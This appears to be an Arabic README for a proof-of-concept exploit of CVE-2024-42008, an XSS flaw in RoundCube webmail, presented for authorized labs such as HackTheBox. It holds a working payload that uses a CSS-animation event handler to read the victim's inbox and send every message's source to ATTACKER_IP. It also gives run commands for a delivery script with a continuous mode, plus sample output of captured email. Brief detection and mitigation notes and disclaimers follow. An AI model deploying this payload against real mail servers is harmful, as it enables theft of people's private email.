
يحتوي هذا المستودع على برهان مفهوم لاستغلال CVE-2024-42008، وهي ثغرة Cross-Site Scripting (XSS) في تطبيق البريد الإلكتروني RoundCube. صُمم هذا الاستغلال للأغراض التعليمية وبيئات اختبار الاختراق الخاضعة للرقابة مثل HackTheBox.
توجد الثغرة في rcmail_action_mail_get->run() وتسمح للمهاجمين عن بُعد بتنفيذ JavaScript تعسفي في متصفحات الضحايا. ينبع الخلل من عدم كفاية التحقق من المدخلات عند معالجة محتوى البريد الإلكتروني، خاصة في التعامل مع حركات CSS وسياقات تنفيذ JavaScript.
ناقل الهجوم الرئيسي:
onanimationstart تتجاوز عوامل تصفية المحتوىالاستغلال الناجح يتيح للمهاجمين:
يتكون الاستغلال من ثلاثة مكونات رئيسية:
// The core XSS payload uses CSS animations to trigger JavaScript
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=
// 1. Fetch email list from victim's INBOX
fetch('/?_task=mail&_action=list&_mbox=INBOX&_page=&_remote=1')
.then(r=>r.text())
.then(t=>{
// 2. Extract email UIDs using regex
[...t.matchAll(/this\\.add_message_row\\((\\d+),/g)].forEach(m=>{
// 3. For each email, fetch full source
fetch(`/?_task=mail&_uid=${m[1]}&_mbox=INBOX&_action=viewsource`)
.then(r=>r.text())
.then(data=>{
// 4. Exfiltrate email data to attacker server
fetch(`http://ATTACKER_IP:PORT/?data=${encodeURIComponent(data)}`)
})
})
})
; foo=bar">
pip install requests
# Single payload delivery
python cve-2024-42008-exploit.py
# Continuous mode (every 30 seconds)
python cve-2024-42008-exploit.py -c
# Custom interval (every 60 seconds)
python cve-2024-42008-exploit.py -c -i 60
# Debug mode with proxy
python cve-2024-42008-exploit.py -d
عدّل السكربت لتكوين:
ATTACKER_IP: عنوان IP لخادم الاستماع لديكATTACKER_PORT: المنفذ لاستقبال البيانات المستخرجةRECIPIENT_EMAIL: عنوان البريد الإلكتروني المستهدفTARGET_URL: مثيل RoundCube المعرّض للخطرPROXY: خادم وكيل لتصحيح الأخطاء (Burp Suite/Caido)| الخيار | الوصف |
|---|---|
-d, --debug | تفعيل وضع التصحيح مع دعم الوكيل |
-c, --continuous | إرسال الحمولات بشكل مستمر |
-i, --interval | الفاصل الزمني بين الحمولات (الافتراضي: 30 ثانية) |
مؤشرات الاكتشاف:
onanimationstart في HTMLاستراتيجيات التخفيف:
اعتبارات الاختبار:
⚠️ تحذير: هذا الاستغلال مُقدَّم للأغراض التعليمية والاختبارات المصرَّح بها فقط.
[+] Listening on 10.10.14.209:8001 for exfiltrated data...
[2024-07-09 10:30:15] POST Request Sent! Status Code: 200
[+] 📩 Captured Email Data:
Return-Path: <[email protected]>
Received: from localhost (localhost [127.0.0.1])
...
[Email content]
--------------------------------------------------
[+] 🔥 Email data saved to emails.log
هذا الكود مُقدَّم للأغراض التعليمية واختبار الاختراق المصرح به فقط. المؤلفون غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج. تأكد دائمًا من حصولك على التفويض المناسب قبل اختبار أي نظام.